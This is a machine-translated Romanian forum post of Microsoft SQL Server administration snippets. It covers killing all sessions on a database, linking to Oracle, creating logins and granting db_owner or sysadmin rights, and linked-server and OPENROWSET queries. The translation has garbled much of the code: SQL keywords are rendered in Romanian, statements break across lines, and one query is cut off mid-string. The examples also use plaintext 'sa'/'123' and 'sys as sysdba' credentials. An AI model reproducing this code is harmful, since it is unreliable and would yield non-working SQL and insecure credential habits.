Interoghează câtă dată este în tabelul curent




selectează un nume gazdă distinct,db_name(dbid),net_address,logname,program_name

De la maestru.. sysprocesses






selectează * din gameDB01. Server01.dbo.cabal_character_table unde nume='

Porc





Când o ștergi, spune: Baza de date este folosită și nu poate fi ștearsă.


Apasă pe baza de date pe care vrei să o ștergi pentru a deschide Event Viewer.


Input:


Utilizare   

Maestre
Du-te
Apoi introduceți următoarele:
declară @d varchar(8000)
Set @d= ' '
selectează @d=@d+ ' ucide   

'+cast(spid ca varchar)+char(13)
De la maestru.. sysprocesses unde dbid=db_id('numele bibliotecii')
exec(@d)
--
Folosește cod pentru a șterge mai întâi procesul care se conectează la această bază de date












MSSQL operează Oracle prin LinkServer






1) Instalarea Oracle pe serverul SQL_SERVER 2005

9i client. Să presupunem că instalăm în directorul C:\ora92i\. Dacă D: este o partiție NTFS, trebuie să setezi directorul ORACLE instalat ca fiind cel folosit

Abonații au dreptul să ruleze, să adauge și să șteargă.


2)
Configurează fișierul C:\ora92i\network\ADMIN\tnsnames.ora. (Următorul text roșu este un exemplu de configurație)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADRESĂ = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Rulați următoarea comandă în modul DOS pentru a confirma că clientul ORACLE este instalat corect.


Utilizator/password@ORCL sqlplus


4)
Deschide Start - Panoul de Control - Servicii și confirmă că serviciul de Coordonator de Tranzacții Distribuite a fost pornit.



5) Open SQL SERVER Management Studio, Nume Instanță (ORCL) - Server Object (click dreapta) - Noua Connection Server.


1.      


Serverul link: Scrie numele serverului legat, cum ar fi OracleTest


2.         
Tipul serverului, selectează o altă sursă de date


3. Interfață de acces:
Selectează furnizorul Oracle pentru OLE DB


4. Nume produs: Write Oracle


5. Sursa datelor: Redactare

Numele serviciului configurat în fișierul tnsnames.ora, cum ar fi ORCL


6.         
Stringul interfeței de acces: userid=sys ca sysdba; parolă=parolă


7.         
Pe pagina Select Security Options, folosește acest context de instalare pentru a stabili o conexiune:


a) Autentificare la distanță: utilizator (alt utilizator, nu sys)


b)      

    Folosește parola: parolă


8. Setează "NT AUTHORITY\SYSTEM" pe autentificare locală, remote user sys, și setează parola


9.

         Eşti sigur


6) Există două moduri de a scrie SQL


a) Utilizarea sintaxei T-SQL:


           SELECTEAZĂ * DE

OraTest.ERP.BAS_ITEM_CLASS


           Rețineți că atunci când introduceți instrucțiuni SQL în SQL Query Analyzer, acordați atenție comutării chinezești pe lățime completă și jumătate de lățime

Așa e!


b) Folosirea sintaxei PLSQL:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) A doua metodă de acces este cu aproximativ 50% mai rapidă decât prima; A doua metodă de acces este conectată direct

ORACLE este comparabil; Prima metodă de acces poate duce la unele erori neașteptate, cum ar fi:
           Tabelul nu există, nici utilizatorul actual

Nu există acces la masă și așa mai departe.


           d) Dacă coloana care trebuie accesată folosește tipuri de date fără precizie, ambele

Aceasta este o eroare a ORACLE care nu poate fi remediată și poate fi evitată doar printr-o gestionare specială a instrucțiunilor de interogare:


     Metadatele furnizate de furnizorul OLE DB 'OraOLEDB.Oracle' pentru coloane sunt inconsistente. Informațiile despre metadate sunt modificate la execuție.










MSSQL a adăugat

Șterge utilizatorul și oferă permisiuni


Folosește numele bibliotecii tale   
Du-te   
--Adaugă utilizatori   
Exec sp_addlogin 'test' – Adaugă autentificare   
Executiv

sp_grantdbaccess N'test' - făcându-l un utilizator legitim al bazei de date actuale   
executiv sp_addrolemember N'db_owner',

N'test' - acordă toate permisiunile propriei baze de date   
--Aceasta creează utilizatori care pot accesa doar propria bază de date și ceea ce este inclus în baza de date

tablă publică pentru utilizatorii invitați   
Du-te   
--Elimină utilizatorul de test   
exec sp_revokedbaccess N'test' -- Eliminarea accesului la baza de date

Limită   
exec sp_droplogin N'test' -- șterge logarea   
Dacă îl creezi în Enterprise Manager, folosește:   
Manager Enterprise - Securitate

Sex --Click dreapta Autentificare --Autentificare nouă   
Elemente generale   
--Introdu numele de utilizator în nume   

--Metoda de autentificare este selectată în funcție de nevoile tale (dacă folosești autentificarea Windows, trebuie mai întâi să creezi un nou utilizator printre utilizatorii sistemului de operare)   

--În setările implicite, selectează numele bazei de date pe care vrei să-l accesezi pentru noul utilizator   
Element de rol al serverului   
Nu alege nimic din asta   
bază de date

Element de acces   
Verifică numele bazei de date la care vrei să ai acces pentru utilizatorul pe care îl creezi   
Permite rolul de bază de date, bifează "public", "db_ownew"   
Sigur, asta

Utilizatorul creat de eșantion este același cu utilizatorul creat de afirmația de mai sus   



Ultimul pas este setarea unor permisiuni de acces specifice pentru utilizatori specifici, care pot fi referite la următorul exemplu minimal:   

--Adaugă utilizatori care au voie doar la tabelul specificat:   
Executiv sp_addlogin 'nume utilizator', 'parolă', 'nume implicit al bazei de date'   

--adaugă la baza de date   
Exec sp_grantdbaccess 'Username'   

--Atribuie permisiuni întregii tabele   
ACORDĂ SELECTARE, INSEREAZĂ, ACTUALIZEAZĂ, ȘTERGE PE TABEL1 CĂTRE [username]   
--Atribuie permisiuni unor coloane specifice   
ACORDĂ SELECTARE, ACTUALIZARE PE tabel1(id,AA) CĂTRE [username]   


Pentru setări de securitate specifice și cunoștințe teoretice, vă rugăm să consultați SQL Online Help  







Descriere fixă a rolului bazei de date   
  db_owner Ai permisiuni complete în baza de date.   

db_accessadmin Poți adăuga sau elimina ID-uri de utilizator.   

db_securityadmin Poate gestiona permisiunile complete, proprietatea asupra obiectelor, rolurile și apartenențele la roluri.   

db_ddladmin poate emite TOATE declarațiile DDL, dar nu și declarațiile de ACORDARE, REVOCARE sau RESPINGERE.   

db_backupoperator poate emite instrucțiuni DBCC, CHECKPOINT și BACKUP.   

db_datareader Poți selecta toate datele din orice tabel de utilizator din baza de date.   

db_datawriter Poți modifica toate datele din orice tabel de utilizator din baza de date.   

db_denydatareader Nu poți selecta date din niciun tabel de utilizator din baza de date.   

db_denydatawriter Nu poți modifica nicio dată din niciun tabel de utilizator din baza de date.  





Ar trebui să alegi db_datareader, db_datawriter db_accessadmin




5.
După ce instanța SQL Server este pornită în modul single-user, contul de administrator Windows poate folosi instrumentul sqlcmd pentru a se conecta în modul de autentificare Windows

SQL Server。 Poți folosi comenzi T-SQL precum "sp_addsrvrolemember" pentru a adăuga un login existent în rolul de sysadmin server

Sau creează un nou cont de autentificare.
Un exemplu de afirmație este următoarea:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


DU-TE


Adaugă un privilegiu sysadmin








(1) Gestionarea rolurilor serverului


În SQL Server, există două proceduri stocate principale care implementează managementul rolurilor SQL Server:


sp_addsrvrolemember

și sp_dropsrvrolemember


sp_addsrvrolemember
Poți adăuga un cont de autentificare la un rol de server pentru a-l face membru al acelui rol de server. Sintaxa este următoarea:
sp_addsrvrolemember

Autentificare , rol


sp_dropsrvrolemember
Poți șterge un cont de autentificare dintr-un rol de server, iar când membrul este eliminat din rolul de server, acesta nu mai are acel rol de server

Permisiunile sunt setate. Sintaxa este următoarea:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'rol'


în acest proces

@loginname este numele utilizatorului autentificat; @rolename este un rol de chelner.




(2) Gestionarea rolurilor în baze de date


În SQL Server este suportată gestionarea bazelor de date

Există șase tipuri principale de proceduri stocate, iar sensurile și sintaxa lor specifică sunt următoarele:


sp_addrole: Folosit pentru a crea un nou rol de bază de date;
sp_addrole

Rol, proprietar


sp_droprole: Folosit pentru a elimina un rol de bază de date din rolul actual de bază de date;
sp_droprole rol


sp_helprole:

Este folosit pentru a afișa toate informațiile despre toate rolurile bazei de date din baza de date curentă;
sp_helprole ['rol']


sp_addrolemember: Folosit pentru a trimite în baza de date

Adăugați utilizatori de baze de date într-un rol, care pot fi roluri standard definite de utilizator sau roluri fixe în baza de date, dar nu pot fi

Roluri de aplicare.
sp_addrolemember rol, security_account


sp_droprolemember: Folosit pentru a șterge un anumit personaj

gospodărie;
sp_droprolemember rol, security_account


sp_helprolemember: Folosit pentru afișarea tuturor membrilor unui rol de bază de date


sp_helprolemember ['rol']






Interogare MSSQL LINKSERVER


----------------------------------------------------------------------------------
-- Autor:

htl258(Tony)
-- Data : 2010-06-25 22:23:18
-- Versiune: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 iulie 2008 14:43:34
-- Drepturi de autor (c) 1988-2008 Microsoft Corporation
--

Developer Edition pe Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Subiect:
Operațiuni SQL de date între diferite baze de date servere
----------------------------------------------------------------------------------
--1.
Creează un server de legătură
--1.1 Creează un nume de link
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' numele serverului la distanță

sau adresa IP' --
Dacă ai un nume de instanță personalizat, adaugă "\numele instanței"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Creează o autentificare (sau creează o hartă de autentificare pentru serverul de linkuri) (alege doar o singură cale)
--1.2.1
Autentificare cu autentificarea Windows
EXEC sp_addlinkedsrvlogin 'LinkName'
--sau EXECUTIV sp_addlinkedsrvlogin 'LinkName', 'adevărat'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Autentificare cu autentificare SQL
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL, 'Username', 'Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink', 'false', null,'sa','123' */
--2.
Operațiuni de date legate de serverul de legătură
--2.1 Exemplu de interogare
SELECT * DE la LinkNume.baza de date.nume schema.nume tabel
/*例如:SELECT *

DE la TonyLink.Mydb.dbo.tb */
--
2.2 Exemplu de import
SELECT * ÎN numele tabelului DE la LinkNume.baza de date.nume schema.nume tabel
/*例如:SELECT * INTO Newtb

DE la TonyLink.Mydb.dbo.tb */
--
2.3 Exemplu de actualizare
ACTUALIZARE LinkNume.Nume Bază de Date.Nume Schema.Nume Tabelului SET='valoare' UNDE câmp='condiție'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */
--
2.4 Șterge exemple
ȘTERGE NumeLink.Nume Bază de Date.Nume Schema.Nume Tabel UNDE numele câmpului='condiție'
/*例如:DELETE

TonyLink.Mydb.dbo.tb UNDE Persoane='g' */
--3 prin funcția rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Metodă
-
3.1 Metoda OPENQUERY (necesită ajutorul serverului de linkuri pe care tocmai l-ai creat):
--
3.1.1 Exemplu de interogare
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Nume de arhitectură. Numele tabelului')
/*
De exemplu: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Exemple de import
--3.1.2.1 Importă toate coloanele
INSERT OPENQUERY(LinkName, 'SELECT * FROM numele bazei de date. Nume de arhitectură. Nume de tabel

') SELECT * DIN tabelul local
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

DE la TB */
--3.1.2.2
Importă coloanele specificate
INSERT OPENQUERY(LinkName, 'SELECT * FROM numele bazei de date. Nume de arhitectură. Numele tabelului') (coloană, coloană...)
coloana SELECT,

Coloană... DE la tabelul local
/*
De exemplu: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
ALEGE

INTERVAL, NIVEL, PERSOANE DIN TB
*/
--3.1.3
Exemple de actualizare
UPDATE OPENQUERY(LinkName, 'SELECT * FROM numele bazei de date. Nume de arhitectură. numele tabelului') câmp SET = cuvânt WHERE 'valoare'

Segment = 'Condiție'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Persoane='a' */
--3.1.4
Șterge exemple
ȘTERGE OPENQUERY(NumeLink, 'SELECT * DIN numele bazei de date. Nume de arhitectură. numele tabelului') UNDE numele câmpului='condiție'
/*例

De exemplu: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
Metoda OPENROWSET (nu trebuie să folosești numele linkului creat.) Dacă numele instanței conectate nu este implicit, trebuie să-l setezi în numele serverului SQL sau adresa IP.

"\nume de instanță")
--3.2.1 Exemplu de interogare
--3.2.1.1
Interogare a metodei de autentificare Windows (una dintre următoarele metode este suficientă)
SELECTEAZĂ * DIN OPENROWSET('SQLOLEDB', 'server=nume server sql sau

adresă IP; Trusted_Connection=da', numele bazei de date. Nume de arhitectură. Numele tabelului)
SELECTEAZĂ * DIN OPENROWSET('SQLNCLI',

'server=nume server sql sau adresă IP; Trusted_Connection=da', numele bazei de date. Nume de arhitectură. Numele tabelului)
SELECTEAZĂ * DE

OPENROWSET('SQLOLEDB', 'server=nume server sql sau adresă IP; Trusted_Connection=da','SELECT * DIN baza de date

Nume. Nume de arhitectură. Numele tabelului')
SELECT * FROM OPENROWSET('SQLNCLI', 'server=nume server sql sau adresă IP

Adresă; Trusted_Connection=da','SELECT * DE la numele bazei de date. Nume de arhitectură. Numele tabelului')
/*
De exemplu: SELECT * DIN OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da',Mydb.dbo.tb)

Sau: SELECTEAZĂ * DIN OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da',Mydb.dbo.tb)

Sau: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da','SELECT *

DE la Mydb.dbo.tb')

Sau: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da','SELECT *

DE la Mydb.dbo.tb')
*/
--3.2.1.2 Interogare metodă de autentificare SQL (Una dintre următoarele metode este suficientă)
SELECTEAZĂ * DIN OPENROWSET

('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă', numele bazei de date. Nume de arhitectură. Numele tabelului)
SELECTEAZĂ * DE

OPENROWSET('SQLNCLI', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă', numele bazei de date. Nume de arhitectură. Numele tabelului)
SELECTEAZĂ * DIN OPENROWSET('SQLOLEDB', 'server=numele serverului sql sau adresa IP; uid=username; pwd=parolă', 'SELECT *

DE la numele bazei de date. Nume de arhitectură. Numele tabelului')
SELECTEAZĂ * DIN OPENROWSET('SQLNCLI', 'server=nume server sql sau adresă IP; uid=

Nume de utilizator; pwd=parolă', 'SELECT * DE la numele bazei de date. Nume de arhitectură. Numele tabelului')
SELECT * DIN OPENROWSET('SQLOLEDB', 'SQL

numele serverului'; 'username'; 'parolă', numele bazei de date. Nume de arhitectură. Numele tabelului)
SELECTEAZĂ * DIN OPENROWSET('SQLNCLI', 'NUME SERVER SQL)

'; 'username'; 'parolă', numele bazei de date. Nume de arhitectură. Numele tabelului)
SELECTEAZĂ * DIN OPENROWSET('SQLOLEDB', 'NUME SERVER SQL'; ' Utilizator

nume'; 'Parolă', 'SELECTEAZĂ * DE la numele bazei de date. Nume de arhitectură. Numele tabelului')
SELECT * DIN OPENROWSET('SQLNCLI', 'sql server

nume'; 'username'; 'Parolă', 'SELECTEAZĂ * DE la numele bazei de date. Nume de arhitectură. Numele tabelului')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Sau: SELECTEAZĂ * DIN OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Sau: SELECTEAZĂ * DIN OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

sau: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * DE

Mydb.dbo.tb')

sau: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

sau: SELECTEAZĂ * DIN OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

sau: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * DIN Mydb.dbo.tb')

sau: SELECTEAZĂ * DIN OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * DIN Mydb.dbo.tb')
*/
--3.2.2 Exemplu de import
--3.2.2.1 Import toate coloanele
INSERAȚI OPENROWSET('SQLOLEDB', 'server=nume server sql sau adresă IP

Adresă; uid=username; pwd=parolă', numele bazei de date. Nume de arhitectură. Numele tabelului)
SELECT * DIN tabelul local
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SELECT * DIN TB
*/
--3.2.2.2 Import

Specifică coloanele
INSERAȚI OPENROWSET('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă', numele bazei de date. Rack

Numele constructului. Numele tabelului) (coloană, coloană...)
Coloană SELECT, coloană... DE la tabelul local
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)(RAZĂ, NIVEL, Persoane)
ALEGE

INTERVAL, NIVEL, PERSOANE DIN TB
*/
--Notă: Pentru mai multe metode alternative, consultați exemplul interogării .2.1, înlocuiți pur și simplu funcția OPENROWSET

Conținutul este suficient.
--3.2.3 Exemplu de actualizare
UPDATE OPENROWSET('SQLOLEDB', 'server=nume sau adresă IP al serverului sql; uid=username

;p wd=parolă', numele bazei de date. Nume de arhitectură. Numele tabelului)
Câmp SET = 'valoare'
UNDE câmpul = 'condiție'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persoane='g'
UNDE Persoane = 'a'
*/
--Notă: Pentru metode alternative, consultați exemplul interogării .2.1, pur și simplu înlocuiți conținutul din OPENROWSET.
--3.2.4 Șterge indicația

Exemplu
ȘTERGE OPENROWSET('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă', numele bazei de date. Numele schemei

.numele tabelului)
UNDE numele câmpului='condiție'
/*
De exemplu: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
UNDE

Persoane='g'
*/
--Notă:
Pentru metode alternative, vezi exemplul interogării .2.1, pur și simplu înlocuiește conținutul din OPENROWSET.
--3.3 Metoda OPENDATASOURCE

(Nu trebuie să folosești numele linkului creat.) Dacă numele instanței conexiunii nu este implicit, trebuie să adaugi \numele instanței după numele serverului SQL sau adresa IP

")
--3.3.1
Exemplu de interogare
--3.3.1.1 Interogare a metodei de autentificare Windows (Una dintre următoarele metode este suficientă)
SELECTEAZĂ * DIN OPENDATASOURCE('SQLOLEDB',

'server=nume server sql sau adresă IP; Trusted_Connection=da'). Numele bazei de date. Nume de arhitectură. Nume de tabel
SELECTEAZĂ * DE

OPENDATASOURCE('SQLNCLI', 'server=nume server sql sau adresă IP; Trusted_Connection=da'). Numele bazei de date. Nume de arhitectură.

Nume de tabel
/*
De exemplu: SELECT * DIN OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da'). Mydb.dbo.tb

Sau: SELECTEAZĂ * DIN OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da'). Mydb.dbo.tb
*/
--3.3.1.2
Interogare a metodei de autentificare SQL (una dintre următoarele metode este suficientă)
SELECTEAZĂ * DIN OPENDATASOURCE('SQLOLEDB', 'server=nume server sql sau

adresă IP; uid=username; pwd=parolă').
Numele bazei de date. Nume de arhitectură. Nume de tabel
SELECTEAZĂ * DIN OPENDATASOURCE('SQLNCLI', 'server=nume server sql sau adresă IP; uid=utilizator

Nume; pwd=parolă').
Numele bazei de date. Nume de arhitectură. Nume de tabel
SELECTEAZĂ * DIN OPENDATASOURCE('SQLOLEDB', 'Data Source=numele serverului sql sau adresa IP'

Adresă; uid=username; pwd=parolă').
Numele bazei de date. Nume de arhitectură. Nume de tabel
SELECTEAZĂ * DIN OPENDATASOURCE('SQLNCLI', 'Data Source=nume server sql sau adresă IP

Adresă; uid=username; pwd=parolă').
Numele bazei de date. Nume de arhitectură. Nume de tabel
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Sau: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Sau: SELECTEAZĂ * DIN OPENDATASOURCE('SQLOLEDB','Data

Sursa=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Sau: SELECTEAZĂ * DIN OPENDATASOURCE('SQLNCLI','Data

sursa=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Importă toate coloanele
INSERAȚI OPENDATASOURCE('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă').

Conform denumirii bibliotecii. Nume de arhitectură. Nume de tabel
SELECT * DIN tabelul local
/*
De exemplu: INSERAȚI OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
ALEGE

* DE la TB
*/
--3.3.2.2
Importă coloanele specificate
INSERAȚI OPENDATASOURCE('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă').

Conform denumirii bibliotecii. Nume de arhitectură. Numele tabelului (coloană, coloană...)
Coloană SELECT, coloană... DE la tabelul local
/*
De exemplu: INSERAȚI OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(DISTANȚĂ, NIVEL, Persoane)
SELECTEAZĂ INTERVALUL, NIVELUL, Persoane DIN TB
*/
--Notă:
Pentru metode alternative, vezi exemplul interogării .3.1, înlocuiește pur și simplu conținutul în funcția set de linii (OPENDATASOURCE).
--3.3.3 Exemplu de actualizare
ACTUALIZARE OPENDATASOURCE('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă').
Numele bazei de date. Nume de arhitectură. Nume de tabel
Câmp SET = 'valoare'
UNDE câmpul = 'condiție'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persoane='g'
UNDE Persoane = 'a'
*/
--Notă:
Pentru metode alternative, vezi exemplul interogării .3.1, înlocuiește pur și simplu conținutul în funcția set de linii (OPENDATASOURCE).
--3.3.4 Șterge exemplul
ȘTERGE OPENDATASOURCE('SQLOLEDB', 'server=numele serverului sql sau adresa IP; uid=username; pwd=parolă').
Numele bazei de date. Nume de arhitectură. Nume de tabel
UNDE numele câmpului='condiție'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
UNDE Persoane = 'g'
*/
- Notă: Mai multe alternative

Consultă exemplul interogării .3.1, înlocuiește pur și simplu conținutul din funcția rowset (OPENDATASOURCE).
--
Șterge metoda serverului legat
--Dacă nu mai folosești informațiile legate de link în viitor, poți șterge informațiile legate de link
--4.1
Șterge informațiile de autentificare (sau șterge harta numelor de autentificare a serverului legat)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
De exemplu: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Șterge numele serverului legat
EXEC sp_dropserver 'LinkName', 'droplogins' – dacă droplogin-urile sunt specificate,
Harta de autentificare trebuie ștearsă înainte de ștergerea serverului legat
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Atașat


Cum să obții numele furnizorului (EXEC master). xp_enum_oledb_providers)
SELECTEAZĂ DISTRIBUȚIA ([Numele furnizorului] CA

VARCHAR(30)) NumeFurnizor,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
DE LA

OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=da',
"PORNEȘTE DOAR ÎNCEPĂTORUL;
EXECUTIV

Maestre.. xp_enum_oledb_providers'
)




Precedent:Procesul de gestionare a vulnerabilităților UCloud și detalii despre recompense
Următor:Pot să iau trenul acasă azi și nu am mai fost acasă de mai bine de jumătate de an
Postat pe 27.09.2017 17:43:11 |
Foarte detaliat, mulțumesc
 Proprietarul| Postat pe 17.06.2023 11:12:11 |
Testează injecția SQL cu instrumentul de infiltrare SQLMAP
https://www.itsvse.com/thread-10611-1-1.html
Disclaimer:
Tot software-ul, materialele de programare sau articolele publicate de Code Farmer Network sunt destinate exclusiv scopurilor de învățare și cercetare; Conținutul de mai sus nu va fi folosit în scopuri comerciale sau ilegale, altfel utilizatorii vor suporta toate consecințele. Informațiile de pe acest site provin de pe Internet, iar disputele privind drepturile de autor nu au legătură cu acest site. Trebuie să ștergi complet conținutul de mai sus de pe calculatorul tău în termen de 24 de ore de la descărcare. Dacă îți place programul, te rugăm să susții software-ul autentic, să cumperi înregistrarea și să primești servicii autentice mai bune. Dacă există vreo încălcare, vă rugăm să ne contactați prin e-mail.

Mail To:help@itsvse.com